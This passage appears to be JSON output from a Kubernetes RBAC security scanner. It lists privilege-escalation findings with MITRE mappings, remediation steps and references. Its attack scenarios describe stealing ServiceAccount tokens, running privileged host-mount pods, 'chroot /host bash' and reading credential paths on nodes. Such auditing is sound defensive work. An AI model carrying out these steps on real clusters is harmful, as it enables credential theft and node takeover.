      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "External Secrets Operator",
        "url": "https://external-secrets.io/latest/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "read_secrets",
        "technique": "KUBE-PRIVESC-005",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "privileged-reader",
          "namespace": "vulnerable"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "get,list secrets",
        "gains": "can read secrets in kube-system or cluster-wide",
        "source_binding": "privileged-reader",
        "source_role": "privileged-reader"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.2",
        "title": "Minimize access to secrets",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:kube_system_secrets"
    ]
  },
  {
    "id": "KUBE-PRIVESC-001:ServiceAccount/cutres/cutres-doublebind:cutres-pods-a:pods",
    "rule_id": "KUBE-PRIVESC-001",
    "severity": "HIGH",
    "score": 8.4,
    "category": "privilege_escalation",
    "title": "Namespace `cutres-pods-a` only pod creation enables token theft and node takeover (`ServiceAccount/cutres/cutres-doublebind`)",
    "description": "Subject ServiceAccount/cutres/cutres-doublebind can `create` pods via RoleBinding `cutres-pods-a/cutres-pod-creator-a` → Role `cutres-pods-a/cutres-pod-creator`. Namespace `cutres-pods-a` only.\n\nUnder Kubernetes' RBAC model, pod creation is one of the most powerful permissions because the API server does not police the privileges of the pod being created, only the create verb itself. A pod is a request to run code as a ServiceAccount; by choosing `spec.serviceAccountName` the attacker borrows the identity (and RBAC permissions) of any ServiceAccount in the target namespace, with the token mounted automatically at `/var/run/secrets/kubernetes.io/serviceaccount/token`.\n\nBeyond identity hopping, a created pod can request `hostPath`, `hostNetwork`, `hostPID`, `privileged: true`, or `SYS_ADMIN`. None of those are blocked by RBAC; only Pod Security Admission or a policy engine (Kyverno, Gatekeeper, ValidatingAdmissionPolicy) can stop them. A typical attack mounts / from the host and reads `/etc/kubernetes/pki/admin.conf` directly.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-doublebind",
      "namespace": "cutres"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cutres-pod-creator",
      "namespace": "cutres-pods-a",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "cutres-pods-a",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `cutres-pods-a` only"
    },
    "impact": "Run arbitrary code as any ServiceAccount in Namespace `cutres-pods-a` only (including privileged ones); optionally request privileged/host-mount pods to escape to the underlying node.",
    "attack_scenario": [
      "Attacker enumerates target namespaces with `kubectl get sa -A` to find privileged ServiceAccounts (e.g. `kube-system/clusterrole-aggregation-controller`).",
      "They craft a pod manifest with `spec.serviceAccountName: \u003cprivileged-sa\u003e` and any container image they control.",
      "They `kubectl apply -f` the pod; the kubelet mounts the privileged ServiceAccount's JWT into the container at the well-known path.",
      "They `exec` into the pod (or have the container phone home), read the token, and replay it against the API server.",
      "Optionally, they instead create a pod with `hostPID: true` + `privileged: true` + `hostPath` of `/` and break out to the node."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "cutres-pods-a",
      "resource_names": null,
      "resources": [
        "pods"
      ],
      "scope": "namespace",
      "source_binding": "cutres-pod-creator-a",
      "source_binding_kind": "RoleBinding",
      "source_role": "cutres-pod-creator",
      "source_role_kind": "Role",
      "verbs": [
        "create"
      ]
    },
    "remediation": "Remove direct pod-create rights from non-platform identities; have CI/CD or controllers create workload objects (Deployments) so the controller-manager creates the pod under its own ServiceAccount.",
    "remediation_steps": [
      "Replace direct `create` on `pods` with `create/update` on `deployments` (or the appropriate workload controller).",
      "Enforce `restricted` Pod Security Standard via `pod-security.kubernetes.io/enforce=restricted` namespace label so privileged/hostPath pods are rejected at admission.",
      "Add a Kyverno/Gatekeeper policy that requires `automountServiceAccountToken: false` on user-created pods, or pins them to a non-privileged ServiceAccount.",
      "Verify with `kubectl auth can-i create pods --as=cutres-doublebind -n cutres-pods-a` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#workload-creation",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/concepts/security/pod-security-admission/",
      "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices: Workload creation",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#workload-creation"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Pod Security Admission",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-admission/"
      },
      {
        "title": "Bishop Fox — Bad Pods: Pod Privilege Escalation",
        "url": "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1552.007",
        "name": "Unsecured Credentials: Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.4",
        "title": "Minimize access to create pods",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-001:ServiceAccount/cutres/cutres-doublebind:cutres-pods-b:pods",
    "rule_id": "KUBE-PRIVESC-001",
    "severity": "HIGH",
    "score": 8.4,
    "category": "privilege_escalation",
    "title": "Namespace `cutres-pods-b` only pod creation enables token theft and node takeover (`ServiceAccount/cutres/cutres-doublebind`)",
    "description": "Subject ServiceAccount/cutres/cutres-doublebind can `create` pods via RoleBinding `cutres-pods-b/cutres-pod-creator-b` → Role `cutres-pods-b/cutres-pod-creator`. Namespace `cutres-pods-b` only.\n\nUnder Kubernetes' RBAC model, pod creation is one of the most powerful permissions because the API server does not police the privileges of the pod being created, only the create verb itself. A pod is a request to run code as a ServiceAccount; by choosing `spec.serviceAccountName` the attacker borrows the identity (and RBAC permissions) of any ServiceAccount in the target namespace, with the token mounted automatically at `/var/run/secrets/kubernetes.io/serviceaccount/token`.\n\nBeyond identity hopping, a created pod can request `hostPath`, `hostNetwork`, `hostPID`, `privileged: true`, or `SYS_ADMIN`. None of those are blocked by RBAC; only Pod Security Admission or a policy engine (Kyverno, Gatekeeper, ValidatingAdmissionPolicy) can stop them. A typical attack mounts / from the host and reads `/etc/kubernetes/pki/admin.conf` directly.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-doublebind",
      "namespace": "cutres"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cutres-pod-creator",
      "namespace": "cutres-pods-b",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "cutres-pods-b",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `cutres-pods-b` only"
    },
    "impact": "Run arbitrary code as any ServiceAccount in Namespace `cutres-pods-b` only (including privileged ones); optionally request privileged/host-mount pods to escape to the underlying node.",
    "attack_scenario": [
      "Attacker enumerates target namespaces with `kubectl get sa -A` to find privileged ServiceAccounts (e.g. `kube-system/clusterrole-aggregation-controller`).",
      "They craft a pod manifest with `spec.serviceAccountName: \u003cprivileged-sa\u003e` and any container image they control.",
      "They `kubectl apply -f` the pod; the kubelet mounts the privileged ServiceAccount's JWT into the container at the well-known path.",
      "They `exec` into the pod (or have the container phone home), read the token, and replay it against the API server.",
      "Optionally, they instead create a pod with `hostPID: true` + `privileged: true` + `hostPath` of `/` and break out to the node."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "cutres-pods-b",
      "resource_names": null,
      "resources": [
        "pods"
      ],
      "scope": "namespace",
      "source_binding": "cutres-pod-creator-b",
      "source_binding_kind": "RoleBinding",
      "source_role": "cutres-pod-creator",
      "source_role_kind": "Role",
      "verbs": [
        "create"
      ]
    },
    "remediation": "Remove direct pod-create rights from non-platform identities; have CI/CD or controllers create workload objects (Deployments) so the controller-manager creates the pod under its own ServiceAccount.",
    "remediation_steps": [
      "Replace direct `create` on `pods` with `create/update` on `deployments` (or the appropriate workload controller).",
      "Enforce `restricted` Pod Security Standard via `pod-security.kubernetes.io/enforce=restricted` namespace label so privileged/hostPath pods are rejected at admission.",
      "Add a Kyverno/Gatekeeper policy that requires `automountServiceAccountToken: false` on user-created pods, or pins them to a non-privileged ServiceAccount.",
      "Verify with `kubectl auth can-i create pods --as=cutres-doublebind -n cutres-pods-b` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#workload-creation",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/concepts/security/pod-security-admission/",
      "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices: Workload creation",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#workload-creation"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Pod Security Admission",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-admission/"
      },
      {
        "title": "Bishop Fox — Bad Pods: Pod Privilege Escalation",
        "url": "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1552.007",
        "name": "Unsecured Credentials: Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.4",
        "title": "Minimize access to create pods",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-001:ServiceAccount/psaflip-fixtures/psaflip-flipper:psaflip-fixtures:pods",
    "rule_id": "KUBE-PRIVESC-001",
    "severity": "HIGH",
    "score": 8.4,
    "category": "privilege_escalation",
    "title": "Namespace `psaflip-fixtures` only pod creation enables token theft and node takeover (`ServiceAccount/psaflip-fixtures/psaflip-flipper`)",
    "description": "Subject ServiceAccount/psaflip-fixtures/psaflip-flipper can `create` pods via RoleBinding `psaflip-fixtures/psaflip-namespace-and-pods` → Role `psaflip-fixtures/psaflip-namespace-and-pods`. Namespace `psaflip-fixtures` only.\n\nUnder Kubernetes' RBAC model, pod creation is one of the most powerful permissions because the API server does not police the privileges of the pod being created, only the create verb itself. A pod is a request to run code as a ServiceAccount; by choosing `spec.serviceAccountName` the attacker borrows the identity (and RBAC permissions) of any ServiceAccount in the target namespace, with the token mounted automatically at `/var/run/secrets/kubernetes.io/serviceaccount/token`.\n\nBeyond identity hopping, a created pod can request `hostPath`, `hostNetwork`, `hostPID`, `privileged: true`, or `SYS_ADMIN`. None of those are blocked by RBAC; only Pod Security Admission or a policy engine (Kyverno, Gatekeeper, ValidatingAdmissionPolicy) can stop them. A typical attack mounts / from the host and reads `/etc/kubernetes/pki/admin.conf` directly.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "psaflip-flipper",
      "namespace": "psaflip-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "psaflip-namespace-and-pods",
      "namespace": "psaflip-fixtures",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "psaflip-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `psaflip-fixtures` only"
    },
    "impact": "Run arbitrary code as any ServiceAccount in Namespace `psaflip-fixtures` only (including privileged ones); optionally request privileged/host-mount pods to escape to the underlying node.",
    "attack_scenario": [
      "Attacker enumerates target namespaces with `kubectl get sa -A` to find privileged ServiceAccounts (e.g. `kube-system/clusterrole-aggregation-controller`).",
      "They craft a pod manifest with `spec.serviceAccountName: \u003cprivileged-sa\u003e` and any container image they control.",
      "They `kubectl apply -f` the pod; the kubelet mounts the privileged ServiceAccount's JWT into the container at the well-known path.",
      "They `exec` into the pod (or have the container phone home), read the token, and replay it against the API server.",
      "Optionally, they instead create a pod with `hostPID: true` + `privileged: true` + `hostPath` of `/` and break out to the node."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "psaflip-fixtures",
      "resource_names": null,
      "resources": [
        "pods"
      ],
      "scope": "namespace",
      "source_binding": "psaflip-namespace-and-pods",
      "source_binding_kind": "RoleBinding",
      "source_role": "psaflip-namespace-and-pods",
      "source_role_kind": "Role",
      "verbs": [
        "create",
        "get",
        "list"
      ]
    },
    "remediation": "Remove direct pod-create rights from non-platform identities; have CI/CD or controllers create workload objects (Deployments) so the controller-manager creates the pod under its own ServiceAccount.",
    "remediation_steps": [
      "Replace direct `create` on `pods` with `create/update` on `deployments` (or the appropriate workload controller).",
      "Enforce `restricted` Pod Security Standard via `pod-security.kubernetes.io/enforce=restricted` namespace label so privileged/hostPath pods are rejected at admission.",
      "Add a Kyverno/Gatekeeper policy that requires `automountServiceAccountToken: false` on user-created pods, or pins them to a non-privileged ServiceAccount.",
      "Verify with `kubectl auth can-i create pods --as=psaflip-flipper -n psaflip-fixtures` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#workload-creation",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/concepts/security/pod-security-admission/",
      "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices: Workload creation",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#workload-creation"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Pod Security Admission",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-admission/"
      },
      {
        "title": "Bishop Fox — Bad Pods: Pod Privilege Escalation",
        "url": "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1552.007",
        "name": "Unsecured Credentials: Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.4",
        "title": "Minimize access to create pods",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-CONFUSED-DEPUTY-001:ServiceAccount/cutres-deputy-tenant/cutres-deputy:node_escape",
    "rule_id": "KUBE-CONFUSED-DEPUTY-001",
    "severity": "HIGH",
    "score": 8.35,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/cutres-deputy-tenant/cutres-deputy` can reach **node escape** (host root) in 2 hop(s)",
    "description": "Subject `ServiceAccount/cutres-deputy-tenant/cutres-deputy` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (2 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/cutres-deputy-tenant/cutres-deputy` → `ServiceAccount/cert-manager/cert-manager` via `operator_reconcile` (write certificates.cert-manager.io): can steer cert-manager/cert-manager, which issues a certificate with an attacker-chosen subject and writes it to a Secret\n  2. `ServiceAccount/cert-manager/cert-manager` → `/` via `node_drain_migrate` (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-deputy",
      "namespace": "cutres-deputy-tenant"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/cutres-deputy-tenant/cutres-deputy` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/cutres-deputy-tenant/cutres-deputy` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/cutres-deputy-tenant/cutres-deputy`.",
      "Acting as `ServiceAccount/cutres-deputy-tenant/cutres-deputy`, the attacker uses the `operator_reconcile` technique to reach `ServiceAccount/cert-manager/cert-manager` via `write certificates.cert-manager.io`, which gains can steer cert-manager/cert-manager, which issues a certificate with an attacker-chosen subject and writes it to a Secret.",
      "Acting as `ServiceAccount/cert-manager/cert-manager`, the attacker uses the `node_drain_migrate` technique via `delete pods + update nodes/status`, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. operator_reconcile [write certificates.cert-manager.io]",
        "2. node_drain_migrate [delete pods + update nodes/status]"
      ],
      "first_action": "operator_reconcile",
      "hop_count": 2,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "operator_reconcile",
        "node_drain_migrate"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `write certificates.cert-manager.io` that enables the first hop (`ServiceAccount/cutres-deputy-tenant/cutres-deputy` → `ServiceAccount/cert-manager/cert-manager`). Evaluated cut: removing this subject from the `cutres-deputy-cert-a` binding that grants hop 1. A route to the same sink survives that cut.",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `write certificates.cert-manager.io` that enables the first hop (`ServiceAccount/cutres-deputy-tenant/cutres-deputy` → `ServiceAccount/cert-manager/cert-manager`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "operator_reconcile",
        "technique": "KUBE-CONFUSED-DEPUTY-001",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-deputy",
          "namespace": "cutres-deputy-tenant"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "permission": "write certificates.cert-manager.io",
        "gains": "can steer cert-manager/cert-manager, which issues a certificate with an attacker-chosen subject and writes it to a Secret",
        "source_binding": "cutres-deputy-cert-a",
        "source_role": "cutres-deputy-cert",
        "binding_namespace": "cutres-deputy-tenant"
      },
      {
        "step": 2,
        "action": "node_drain_migrate",
        "technique": "KUBE-PRIVESC-016",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete pods + update nodes/status",
        "gains": "can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation"
      }
    ],
    "alternate_escalation_path": [
      {
        "step": 1,
        "action": "operator_reconcile",
        "technique": "KUBE-CONFUSED-DEPUTY-001",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-deputy",
          "namespace": "cutres-deputy-tenant"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "permission": "write certificates.cert-manager.io",
        "gains": "can steer cert-manager/cert-manager, which issues a certificate with an attacker-chosen subject and writes it to a Secret",
        "source_binding": "cutres-deputy-cert-b",
        "source_role": "cutres-deputy-cert",
        "binding_namespace": "cutres-deputy-tenant"
      },
      {
        "step": 2,
        "action": "node_drain_migrate",
        "technique": "KUBE-PRIVESC-016",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete pods + update nodes/status",
        "gains": "can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape",
      "privesc:survives-first-cut"
    ]
  },
  {
    "id": "KUBE-CONFUSED-DEPUTY-001:ServiceAccount/deepchain-tenant/deepchain-deployer:node_escape",
    "rule_id": "KUBE-CONFUSED-DEPUTY-001",
    "severity": "HIGH",
    "score": 8.35,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/deepchain-tenant/deepchain-deployer` can reach **node escape** (host root) in 2 hop(s)",
    "description": "Subject `ServiceAccount/deepchain-tenant/deepchain-deployer` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (2 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/deepchain-tenant/deepchain-deployer` → `ServiceAccount/flux-system/kustomize-controller` via `operator_reconcile` (write kustomizations.kustomize.toolkit.fluxcd.io): can steer flux-system/kustomize-controller, which applies arbitrary manifests from an attacker-controlled source\n  2. `ServiceAccount/flux-system/kustomize-controller` → `/` via `node_drain_migrate` (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "deepchain-deployer",
      "namespace": "deepchain-tenant"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/deepchain-tenant/deepchain-deployer` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/deepchain-tenant/deepchain-deployer` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/deepchain-tenant/deepchain-deployer`.",
      "Acting as `ServiceAccount/deepchain-tenant/deepchain-deployer`, the attacker uses the `operator_reconcile` technique to reach `ServiceAccount/flux-system/kustomize-controller` via `write kustomizations.kustomize.toolkit.fluxcd.io`, which gains can steer flux-system/kustomize-controller, which applies arbitrary manifests from an attacker-controlled source.",
